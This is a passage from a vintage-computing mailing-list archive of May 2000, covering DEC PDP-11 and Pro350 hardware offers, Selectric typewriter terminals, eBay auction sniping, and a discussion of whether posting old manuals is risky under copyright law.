them or where or how to sell them so he's letting me see what I can do with them. They are for sale so if you want one, make a reasonable offer. If the owner doesn't get what he feels is a fair offer then he or I will put them on E-bay. I took the 11/73 and one of the 350s home with me to try and find out more about them, so if you have any specific questions let me know and I'll try to answer them. I haven't tested them but they look like they're in fine condition. I'll try to hook them up this weekend and find out more about them. Fine print: These are located in the Orlando Florida area. If you buy one, you can pick it up and pay for in person (hint: cash = no tax.) If you need it shipped then there is a $20 packing fee for a custom foam in place shipping box. All of their large test equipment gets shipped that way and even UPS hasn't lost or damaged a piece yet. It will be shipped by your choice of shippers and actual shipping charges will apply. Joe From cisin at xenosoft.com Thu May 11 11:45:15 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: Depending on the number of bits per character, start bits, stop bits, etc., 14.8 or 15 characters per second is APPROXIMATELY 150 bits per second. Depending on how you count words, spaces, etc., 14.8 or 15 characters per second is APPROXIMATELY 150 words per minute. 30 years ago, when I worked at Goddard Space Flight Center, there were some holes in the wall, and discussion of the record "driving" distance for selectric type balls flying when they came off. But I suspect that that was mostly due to sloppy locking down of the ball on insertion. (Some people there kept putting NON-APL type balls in the terminals.) BTW, I'm reminded that there were two more versions of the device. There was a guy in Walnut Creek that made one specifically for selectrics that mounted UNDER the keyboard in place of the stock base. And there was one shown at the 5th? West Coast Computer Faire that used strings for moving the carriage, and worked on MANUAL typewriters (it drew a big cheering crowd). Now, after all of this discussion of them, am I going to have to go to e-bay just to find a buyer?? -- Grumpy Ol' Fred cisin@xenosoft.com On Thu, 11 May 2000 allisonp@world.std.com wrote: > > Fred Cisin wrote... > > > It is vitally important that you not exceed 14.8 characters per second on > > > Selectrics. > > > > ... or what? Does the Balls-O-Meter wear out? :) > > Like most typewriters it's mechancical and if driven to fast it will jam > and do bad things. > > allison From RCini at congressfinancial.com Thu May 11 12:51:07 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:40 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? Message-ID: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> I was reading a post on Slashdot about Microsoft pissing about a huge thread on there about its "embracing and engulfing" the Kerberos standard in its Windows 2000 product (see http://slashdot.org/article.pl?sid=00/05/02/158204 ). The thread had links to a legal analysis of the Digital Millennium Copyright Act (http://www.whitmorelaw.com/Copyright/dmca-analysis.html ). Here's a link to the actual legislation (http://www.hrrc.org/2281enrolled.pdf ). Although the first article is written from the perspective of service provider liability, I can't help but wonder what it means for us (as providers of the "content") in light of the recent goings on with Napster and MP3. For example, although I acknowledge the copyrights of the various owners of the printed materials on my Web site (the AIM documents, for example, since Rockwell is still around), I do not have explicit permission from Rockwell to make those materials available. I'm sure that many of us in our preservation efforts have a mixture of documents from defunct companies and from live ones (but for which the products have been long discontinued). How do we protect ourselves? My plan, frankly, is to continue with my efforts until someone tells me to stop. Thoughts? Rich From sipke at wxs.nl Thu May 11 14:02:59 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:51:40 2005 Subject: Really Why I Hate eBay References: <4.2.2.20000510112253.03abbd80@wave-rock.ao.com> Message-ID: <02fa01bfbb7b$866e2480$030101ac@boll.casema.net> I really hate E-bay or E-pay or E-chitchat for the bandwidth it eats at this list. But then should I blame E-bay? Sipke From foo at siconic.com Thu May 11 12:28:31 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:40 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> Message-ID: On Thu, 11 May 2000, Cini, Richard wrote: > How do we protect ourselves? My plan, frankly, is to continue with > my efforts until someone tells me to stop. I say tally ho old chap. That's probably the best course of action. Just post the material to at least make it useful until which time you are explicitly told by the copyright holder to remove it. The worst they can do is ask you to remove it (cease and desist). Might as well keep this stuff alive as long as there is a need for it and as long as the original copyright holder has no plans for it. As long as the original copyright holder is no longer marketing it and it's not being sold for a profit then I don't see an ethical dilemma. Sellam From rigdonj at intellistar.net Thu May 11 14:17:46 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:40 2005 Subject: Couple of cool HP 110/150 finds Message-ID: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> > >At 10:47 PM 5/2/00 -0700, Earnest said something about: >>Today, I was given a bunch of interesting vintage items. >> HP 88396 SCSI to parrallel interface. Did you ever find out more about this? I just picked up one of one yesterday with the cables. The other end of the cable that fits the DB-25 connector has a male Centronics style connector on it. The SCSI port has a feed-through type terminator on it. Attached to that is a cable that has a micro-SCSI connector on the other end of it. FWIW the box says "same functionality as 88395". Joe From sethm at loomcom.com Thu May 11 13:36:48 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:51:40 2005 Subject: DEC Correspondent (LA12) question... Message-ID: <20000511113648.A1560@loomcom.com> Hey folks, Another question for DEC people out there. I've got a DEC Correspondent (Model LA12-DB) printing terminal. It's like a little cousin to the DECwriters of the world, very cute and lightweight, relatively speaking. Built like a little tank, though. And ribbons are still available, joy! But I've got no earthly clue how to configure the thing for baud rate, flow control, stop bits, anything. It seems to be set up REALLY FUNKY right now, like 4800bps 7N1 or some such nonesense. All I want is 9600 8N1, is that so wrong? It looks like configuration is done by hitting some sequence of keys, but I've been unable to make it work so far, and I'm going through an alarming quantity of fanfold paper in the process. I mean, they couldn't have just made it a TOGGLE or some DIP SWITCHES or anything, NOOO... Does anyone know how to make it go? -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From RCini at congressfinancial.com Thu May 11 13:54:42 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:40 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? Message-ID: <497A9E0467D2D2119B760090271EB8E50E90FC@MAIL10> No ethical dilema here! I don't feel bad about posting this stuff at all because (1) the equipment isn't being sold any more, (2) the docs have been left to rot by the original owner and (3) the docs are too valuable to the vintage computing community to not make them available. I just think that some of the free-wheeling underpinnings of the Internet were taken out back and shot and buried in the end zone next to Hoffa. Rich -----Original Message----- From: Vintage Computer GAWD! [mailto:foo@siconic.com] Sent: Thursday, May 11, 2000 1:29 PM To: 'ClassCompList' Subject: Re: Digital Millennium Copyright Act - what does it mean for us? On Thu, 11 May 2000, Cini, Richard wrote: > How do we protect ourselves? My plan, frankly, is to continue with > my efforts until someone tells me to stop. I say tally ho old chap. That's probably the best course of action. Just post the material to at least make it useful until which time you are explicitly told by the copyright holder to remove it. The worst they can do is ask you to remove it (cease and desist). Might as well keep this stuff alive as long as there is a need for it and as long as the original copyright holder has no plans for it. As long as the original copyright holder is no longer marketing it and it's not being sold for a profit then I don't see an ethical dilemma. Sellam From rigdonj at intellistar.net Thu May 11 15:36:07 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:40 2005 Subject: FA: DEC Compactapes with VMS 5.5 Message-ID: <3.0.1.16.20000511153607.463f089c@mailhost.intellistar.net> I just put these on E-bay. "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330229962". Joe From mark_k at iname.com Thu May 11 15:43:09 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:51:40 2005 Subject: Determining input voltage for switchmode PSU Message-ID: Hi, This isn't specifically classic, but maybe someone can help. I have a SCSI optical drive mounted in an external case, made in 1992. There are no labels on the case at all. I was sent this from the United States (where mains voltage is 110VAC); I'm in the UK (where mains is 240VAC). Whilst I can use this unit in conjunction with a step-down transformer, is there any "rule of thumb" method for determining whether a switchmode PSU is auto-ranging? Rather than just connecting the unit up to 240V and risking damaging the PSU, I'd like some idea of whether it is designed to run from 240V. The fuse on the power supply PCB is 2A 250V, if that's any indication. There is no obvious wire link that could be moved to select between 110V and 220V operation. A label on the PSU reads MODEL NO. SP35W2P-141 There is also a logo which looks something like this: | | __ | / \__|___ | \__ That is, the letters L and E joined together. Any idea which manufacturer this is? -- Mark From rigdonj at intellistar.net Thu May 11 15:44:13 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:40 2005 Subject: Maxoptix disk Message-ID: <3.0.1.16.20000511154413.346fd41e@mailhost.intellistar.net> Does anyone want a Maxoptix disk? I found one that's still in the box and sealed in plastic. The box says "Tahiti Formatted Erasable Optical Cartridge 1 Gigabyte Maxoptix by Verbatim". Make a reasonable offer. Joe From allisonp at world.std.com Thu May 11 15:13:59 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: > Depending on how you count words, spaces, etc., 14.8 or 15 characters per > second is APPROXIMATELY 150 words per minute. Well back then if someone said 134.5 for the baud rate you could bet the printer was a selectric. Allison From allisonp at world.std.com Thu May 11 15:23:16 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:40 2005 Subject: DEC Correspondent (LA12) question... In-Reply-To: <20000511113648.A1560@loomcom.com> Message-ID: Think vt100... look for setup keys. Allison On Thu, 11 May 2000, sjm wrote: > Hey folks, > > Another question for DEC people out there. I've got a DEC > Correspondent (Model LA12-DB) printing terminal. It's like a little > cousin to the DECwriters of the world, very cute and lightweight, > relatively speaking. Built like a little tank, though. And ribbons > are still available, joy! > > But I've got no earthly clue how to configure the thing for baud > rate, flow control, stop bits, anything. It seems to be set up > REALLY FUNKY right now, like 4800bps 7N1 or some such nonesense. All > I want is 9600 8N1, is that so wrong? It looks like configuration > is done by hitting some sequence of keys, but I've been unable to > make it work so far, and I'm going through an alarming quantity of > fanfold paper in the process. I mean, they couldn't have just made > it a TOGGLE or some DIP SWITCHES or anything, NOOO... > > Does anyone know how to make it go? > > -Seth > -- > "As a general rule, the man in the habit of murdering | Seth Morabito > bookbinders, though he performs a distinct service | sethm@loomcom.com > to society, only wastes his own time and takes no | > personal advantage." -- Kenneth Grahame (1898) | Perth ==> * > From ckaiser at oa.ptloma.edu Thu May 11 15:35:02 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:40 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> from "Cini, Richard" at "May 11, 0 01:51:07 pm" Message-ID: <200005112035.NAA08834@oa.ptloma.edu> :: How do we protect ourselves? My plan, frankly, is to continue with ::my efforts until someone tells me to stop. I think that's a good idea, but to be fair I never distribute anything myself without the copyright owner's permission. That's why the only Compute! articles I've ever reproduced were my own, because I retain the copyrights (so says my author contracts). And you would be surprised how easy to find some people are. Jim Butterfield, Mr. KIM, is a regular suspect in comp.sys.cbm and has granted permission for almost all of his books to be distributed online. In fact, he did a lot of the OCRing himself. First Book of KIM probably is online in full by now. Also, there was a title or two for comp.binaries.cbm that were originally commercial. We asked the X-10 Corporation what they thought of us posting the C64 version of the X-10 control software, and they said go to it. In fact, they made it freeware, just for us. The other title was a cool BASIC extension/assembler package that had been written by some programmer named Brad Templeton. Yes, *that* Brad Templeton of rec.humor.funny fame. Not too hard to find him. :-) But I think no one will find your stance unreasonable. Most lawyers ask questions first before shooting and will warn you before they want to sue you. They can still bill their clients for the hours and don't have to show up in court. :-P There was a misunderstanding over a software title I was involved in (someone said it was freeware and then the copyright owner showed up after I put it up for download), but it was cleared up with no hard feelings. I'm sure the same would apply for you. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Advertising is the banging of a stick in a swillbucket. -- George Orwell --- From ard at p850ug1.demon.co.uk Thu May 11 12:58:24 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:40 2005 Subject: Really Why I Hate eBay In-Reply-To: <3919EE02.ED09A65A@mcmanis.com> from "Chuck McManis" at May 10, 0 04:17:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1061 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/bd511864/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 11 12:54:17 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:40 2005 Subject: Ebay Altair In-Reply-To: from "foo" at May 10, 0 03:13:29 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1853 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/7e3a7864/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 11 13:17:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:40 2005 Subject: Getting all the system connected... In-Reply-To: from "George Rachor" at May 10, 0 04:34:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2309 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/4fd73489/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 11 13:37:03 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:40 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> from "Joe" at May 11, 0 08:38:00 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2460 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/f3ef5d6d/attachment.ksh From richard at idcomm.com Thu May 11 15:47:06 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator References: Message-ID: <000d01bfbb8a$1251e0a0$0400c0a8@winbook> Yes, that's the "rate" for the selectric. However, there were at least two selectric mechanisms, and the 134.5 baud rate was for the ruggedized printer for the 1130 system. Those would last over a year under pretty hard useage (I was the user and watched the same mechanism run for about a year). However, the normal desktop selectric typewriter would fall apart within a very short time with a mechanical actuator. I tried this myself once, but was dissuaded from continuing it when a friend's selectric broke under the actuator he'd bought through an ad in BYTE. The selectric mechanism is a VERY complicated one in terms of the linkage between the typeball and the keys. The keyboardless 1131 printer was much more rugged, owing to the fact that it didn't have that complicated mechanism of bails and cams that was the "keyboard encoder" and set the rotation of the typeball. There was also a selectric model that had a data cable that went to/from a computer system. I never had the opportunity to use one of those, but I recall reading that it had the separate mechanism of the 1131 printer but an electronic keyboard encoder, hence, relied on the computer to tell it what to type. In that sense it was full duplex. When the cable was detached, it would echo directly to the typeball. Dick ----- Original Message ----- From: To: Sent: Thursday, May 11, 2000 2:13 PM Subject: Re: Keyboard actuator > > Depending on how you count words, spaces, etc., 14.8 or 15 characters per > > second is APPROXIMATELY 150 words per minute. > > Well back then if someone said 134.5 for the baud rate you could bet the > printer was a selectric. > > Allison > > From cmcmanis at mcmanis.com Thu May 11 16:06:17 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:40 2005 Subject: Free Pro350 available (FOB Sunnyvale) Message-ID: <391B20C9.67F94E8D@mcmanis.com> I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard drive and an RX50 dual floppy sitting around doing nothing 'cept gettin' in the way. Its available for free, no questions asked, no restrictions, except that: 1) It is in Sunnyvale California (94086) and I'm not paying to pack/mail it. 2) I don't know if it works or not. I did power it up and the disk seeks around a bit but I've got a mono monitor (from an unrelated acquisition) that is also questionable and it didn't say anything at all. You can have the monitor and an LK201 keyboard with it as well. I've got no docs and no way to either ascertain if it is working, should have a color monitor etc, or not. --Chuck From foo at siconic.com Thu May 11 15:01:16 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:40 2005 Subject: Ebay Altair In-Reply-To: Message-ID: On Thu, 11 May 2000, Tony Duell wrote: > Over here, alas, it's becoming rare to find classic computers at radio > rallies. In fact at the last rally I went to, I saw exactly _2_ classic > computers, a Spectrum and an Oric 1. As I have both, I wasn't interested. The same is happening over here as well. It seems the supply has either dried up or most of the stuff that used to end up at ham fests or car boot sales is now finding its way to eBay. > I got plenty of parts, some test gear, etc, so the rally wasn't a waste > of time, but I certainly didn't find any minis, workstations, etc. Plenty > of battered 486 boxen, which have no interest at all. >From the last one near my house I went to last Sunday I picked up some C64 carthridges (pretty interesting ones though...music synthesizers and what-not) and a numeric keypad for the Apple ][ that plugs into the Game I/O port(!) Of course it was sort of rained out so it's perhaps not entirely indicative of the state of the event. The next major ham fest in the Silicon Valley is this Saturday. I haven't been in a while so it'll be interesting to see what turns up. Of course by the time I get there the usual group of local suspects has already picked up the Altairs, SOL-20s, Sun 1-100U's, etc. :) Sellam From ard at p850ug1.demon.co.uk Thu May 11 15:58:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:40 2005 Subject: Determining input voltage for switchmode PSU In-Reply-To: from "Mark" at May 11, 0 08:43:09 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4865 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/08c290fd/attachment.ksh From healyzh at aracnet.com Thu May 11 16:09:36 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:40 2005 Subject: Free Pro350 available (FOB Sunnyvale) In-Reply-To: <391B20C9.67F94E8D@mcmanis.com> from "Chuck McManis" at May 11, 2000 02:06:17 PM Message-ID: <200005112109.OAA05562@shell1.aracnet.com> > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard BTW, that's a DECmate II or Rainbow style case. I'm not sure what the DECmate I used for a case, but the DECmate III and III+ used a case like the VAXstation 2000. Zane From jfoust at threedee.com Thu May 11 15:56:31 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:40 2005 Subject: reflections on ebay In-Reply-To: <391ACEB9.6D3AEAB6@rain.org> References: <005b01bfbb24$85670040$160917d4@zen.co.uk> Message-ID: <4.3.0.20000511154454.00c4e450@pc> At 08:16 AM 5/11/00 -0700, Marvin wrote: >Sniping (bidding in the last seconds of the auction) is an on-going argument >that has some strong opinions on both sides. It is most certainly NOT a >lottery or even close. It does take advantage, or perhaps even promote, >ignorant (of the item value) bids. Sniping would be totally worthless if >people would bid what they are *willing* to pay rather than what they are >*hoping* to pay. There are dozens of types of auctions. Wouldn't it be nifty if eBay had a type of auction where the bidding was scheduled to end at a particular time, but that bidding would continue in a going, going, gone fashion as any auctioneer would do? This would let the N last-minute bidders hang around until each had explicitly declared that they were out of the running. Presto, the end of sniping. To really make it interesting, combine it with a chat room aspect that lets you see the other bidders. - John From jfoust at threedee.com Thu May 11 16:03:57 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:40 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FB@MAIL10> Message-ID: <4.3.0.20000511160025.00dd2b50@pc> At 01:51 PM 5/11/00 -0400, Cini, Richard wrote: >For example, although I acknowledge the copyrights of the various >owners of the printed materials on my Web site (the AIM documents, for >example, since Rockwell is still around), I do not have explicit permission >from Rockwell to make those materials available. I'm sure that many of us in >our preservation efforts have a mixture of documents from defunct companies >and from live ones (but for which the products have been long discontinued). I really like the fact that people are archiving old documents in this fashion and placing them on the web. I'm very hard-core about intellectual property rights, but on the other hand, it's near impossible to find the original owners in most cases of antique computers. By republishing without permission, what you're risking is the chance that the proper owner could someday discover what you've done, and decide that it's worth suing you to recover the damage you've caused. - John From steverob at hotoffice.com Thu May 11 16:32:28 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:51:40 2005 Subject: What's Up Message-ID: <2921A6D846E9D31182490050040DC0D65B9503@hoexc101.hotoffice.com> Hey joe, Sorry I haven't had time to write but, as always, there's a bunch of shit happening around here. Like everyone else in technology, we are trying to make some money from the ".COM" hysteria. I think we're finally getting close and with any luck, I'll soon have time to do some other things (rumor is that we've already been bought). I can see from your recent posts, that you and Mike have found some really neat stuff. I wouldn't mind getting in on the bonanza but, recently I haven't been able to focus on anything but work :-( I haven't even turned on a computer at home in the last 6 weeks. As far as collecting, I haven't seen anything interesting since we went to Avitar. Sure wish I could find an outlet like that a lot closer to home. Actually, I'm probably better off being 250 miles away. I've already got too much crap around here and the temptation might be too great if it was right down the road. A couple of weeks ago, I had to go to Ft. Pierce for business so, I took a "short cut" past APOLLO in Melbourne. I didn't realize the Tom is only there a half day and almost got locked out of the place. Fortunately, Pete (I think that's his name) came by and agreed to let me in. I spent two hours looking around and couldn't find anything worth hauling home. Either my vision is getting worse or I'm getting more selective about the junk I collect. Actually, it's probably a combination of both :-) Went to a local auction last week and was shocked at the prices those idiots were paying. Sorry but, I refuse to pay retail prices at a freakin auction! As it tunrs out, it was mostly PC related stuff that I wouldn't want anyway. There was one large AS/400 that looked pretty complete. It had a reel-to-reel tape drive and all sorts of neat accessories. Since it was pretty big (probably 1000 lbs), had to be removed that day (no exceptions), I didn't have a place to put it, and don't know anything about them, I didn't bid. It sold for $5... I don't know if the other guy moved it on not. It might have wound up in the dumpster dumpster behind the place. I'll have to check on the way home. I did buy a rather large "band printer" for the parts. There's a couple of really LARGE steppers motors in it that could be used in a robotics or automation project. There's also a bunch of 7400 series chips that might be useful someday. The stand is in really good condition so, I can use that for another fairly large printer that I have. I only payed $5 for it so, I couldn't get hurt too bad ;-) I'm gonna try to come up to Orlando around the end of June. If you have or know of any minis (HP or DEC) that are complete and working, we might be able to make a deal. At this point, I just don't have the time or patience to piece together an incomplete system. Anyway, hope all is well with you and yours... See ya, Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/1c72de47/attachment.html From cisin at xenosoft.com Thu May 11 16:43:20 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator In-Reply-To: <000d01bfbb8a$1251e0a0$0400c0a8@winbook> Message-ID: On Thu, 11 May 2000, Richard Erlacher wrote: > Yes, that's the "rate" for the selectric. However, there were at least two > selectric mechanisms, and the 134.5 baud rate was for the ruggedized printer > for the 1130 system. Those would last over a year under pretty hard useage > (I was the user and watched the same mechanism run for about a year). > However, the normal desktop selectric typewriter would fall apart within a ^^^^^^ > very short time with a mechanical actuator. I tried this myself once, but > was dissuaded from continuing it when a friend's selectric broke under the > actuator he'd bought through an ad in BYTE. A properly setup mechanical actuator is quite a bit LESS stressfull to the keyboard than a human. You are probably talking about the POS "home" model, that would fall apart within a very short time if anybody typed on it. It was nice to have for home use, but not suitable for office usage. Using the keyboard actuator and a selectric as a substitute for a normal printer seems a pretty BAD idea. -- Grumpy Ol' Fred cisin@xenosoft.com DogEars From pechter at pechter.dyndns.org Thu May 11 16:44:26 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:40 2005 Subject: Free Pro350 available (FOB Sunnyvale) In-Reply-To: <391B20C9.67F94E8D@mcmanis.com> from Chuck McManis at "May 11, 2000 02:06:17 pm" Message-ID: <200005112144.RAA01211@bg-tc-ppp994.monmouth.com> > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard > drive and an RX50 dual floppy sitting around doing nothing 'cept gettin' > in the way. Its available for free, no questions asked, no restrictions, > except that: > 1) It is in Sunnyvale California (94086) and I'm not > paying to pack/mail it. > 2) I don't know if it works or not. > > I did power it up and the disk seeks around a bit but I've got a mono > monitor (from an unrelated acquisition) that is also questionable and it > didn't say anything at all. You can have the monitor and an LK201 > keyboard with it as well. I've got no docs and no way to either > ascertain if it is working, should have a color monitor etc, or not. > > --Chuck Do you happen to know if it has the ethernet card. I've got a Pro here without the ethernet... Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From cmcmanis at mcmanis.com Thu May 11 16:53:45 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:40 2005 Subject: OT: Mailing list options References: <2921A6D846E9D31182490050040DC0D65B9503@hoexc101.hotoffice.com> Message-ID: <391B2BE9.4BDEBDF5@mcmanis.com> Personally, as a security kinda guy, I prefer mailing lists that don't force all replys to the list. If you accidently send something to one person that was meant for the list you can resend it, on the otherhand un-sending something is so damn hard to do... From John.Allain at donnelley.infousa.com Thu May 11 16:59:06 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:40 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> I have to jump in since someone brought up the Selectric. Has any-one here ever dismantled a Selectric? Did once and though I thought knew mechanisms at the time it turns out I sure didn't. The central mechanism seemed like a cross between Dr. Nim (On Topic) and DigiComp-1. The key presses were relayed by an almost binary series of pushrods to a cascaded teeter-totter matrix. The damndest mechanism I've ever seen. Anybody else have this reaction? Seems like a pretty good topic so I'm chiming in with this... John A. P.S. Don't go breaking up working ones to find out though. From eric at brouhaha.com Thu May 11 16:57:32 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:40 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> (message from Joe on Thu, 11 May 2000 08:38:00 -0500) References: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Message-ID: <20000511215732.29718.qmail@brouhaha.com> Joe wrote: > worth rescueing. The first is a DEC Por 350, there are two of them. DEC's attempt at a high-end personal computer, based on the F11 chipset (same CPU as an PDP-11/23 or /24). Runs P/OS, a hacked version of RSX-11/M+. Can also run RT11 or Venix. > The other is is a Micro PDP 11/73. BA23 cabinet. That uses the J11 CPU at 15 MHz. Standard Qbus cards. Usually these are found with DEC RQDX1 controllers (floppy drive, ST-506 interface hard drives). Sometimes one gets lucky and finds a third-party ESDI or SCSI controller. > There's also a VAX 11/785 there but it's huge! It would be nice if someone wanted to provide a home for it, but that seems unlikely. I'd want it myself, but not at the cost of shipping it from Florida to California. If it's otherwise going to be scrapped, I'd like to get the cards and backplanes from the top half of the unit, and the PDP-11/03 and RX02 disk drive. An acquaintance has an 11/780 which is missing the PDP-11/03. However, all of the 11/780s and 11/785s I've seen turn up in surplus places have already had the 11/03 removed. Maybe someone thinks they're valuable, though I can't imagine why. From dlw at trailingedge.com Thu May 11 17:02:58 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:51:40 2005 Subject: Free to good home: Centronics 101 printer Message-ID: <391AE7C2.25804.1A4270B@localhost> If anyone is interested contact the person below... ------------------- From: "Fairley, Chris" Subject: Free to good home: Centronics 101 printer I have the original personal printer, weighing about 60 pounds, upper-case only, complete with paper tape reader. State of the art in the late 70's? Free to a good home. It worked last time I tried, has a few cosmetic defects, very dusty. Want it? FOB San Jose CA. -Chris Chris Fairley Director of Engineering KLA-Tencor WIN Division tel: 408 875-5330 fax: 408 571-2915 pager: 888 709-2310 email: chris.fairley@kla-tencor.com -------------------------------- ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From spc at armigeron.com Thu May 11 17:03:45 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:40 2005 Subject: OT: Mailing list options In-Reply-To: <391B2BE9.4BDEBDF5@mcmanis.com> from "Chuck McManis" at May 11, 2000 02:53:45 PM Message-ID: <200005112203.SAA19845@armigeron.com> It was thus said that the Great Chuck McManis once stated: > > Personally, as a security kinda guy, I prefer mailing lists that don't > force all replys to the list. If you accidently send something to one > person that was meant for the list you can resend it, on the otherhand > un-sending something is so damn hard to do... This was discussed to death some time ago and the consensus was it was better to have replies go to the list as default to keep the conversation flowing and archive it. Some people (such as I) use software that make changing the recipient hard (or don't have an option to send to sender vs. list). Because of that, most conversations will die down as two participants branch off privately to talk. And while private messages do pop up from time to time, it doesn't happen every day (or even every month) and most people around here (and on other mailing lists) are understanding and will ignore such messages. And for the record, such Reply-To: munging is allowed by RFC822 (section 4.4.3). -spc (Early February from my records) From jpl15 at netcom.com Thu May 11 17:19:38 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:51:40 2005 Subject: KIM Manual / Selectric Message-ID: I note (historically) that in the Introduction to the First Book of Kim, by the previously-mentioned Mr. Butterfield, he thanks an individual for the use of a Selectric-attached word processor. More details elude me; I am at work and away from my bookshelves. Cheers John From cmcmanis at mcmanis.com Thu May 11 17:33:02 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:40 2005 Subject: Free Pro350 available (FOB Sunnyvale) References: <200005112144.RAA01211@bg-tc-ppp994.monmouth.com> Message-ID: <391B351E.9FA22AED@mcmanis.com> Sorry, no ethernet. --CHuck Bill Pechter wrote: > > > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard > > drive and an RX50 dual floppy sitting around doing nothing 'cept gettin' > > in the way. Its available for free, no questions asked, no restrictions, > > except that: > > 1) It is in Sunnyvale California (94086) and I'm not > > paying to pack/mail it. > > 2) I don't know if it works or not. > > > > I did power it up and the disk seeks around a bit but I've got a mono > > monitor (from an unrelated acquisition) that is also questionable and it > > didn't say anything at all. You can have the monitor and an LK201 > > keyboard with it as well. I've got no docs and no way to either > > ascertain if it is working, should have a color monitor etc, or not. > > > > --Chuck > > Do you happen to know if it has the ethernet card. I've got a Pro here > without the ethernet... > > Bill > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? From ard at p850ug1.demon.co.uk Thu May 11 16:12:26 2000 From: ard at p850ug1.demon.co.uk (Tony 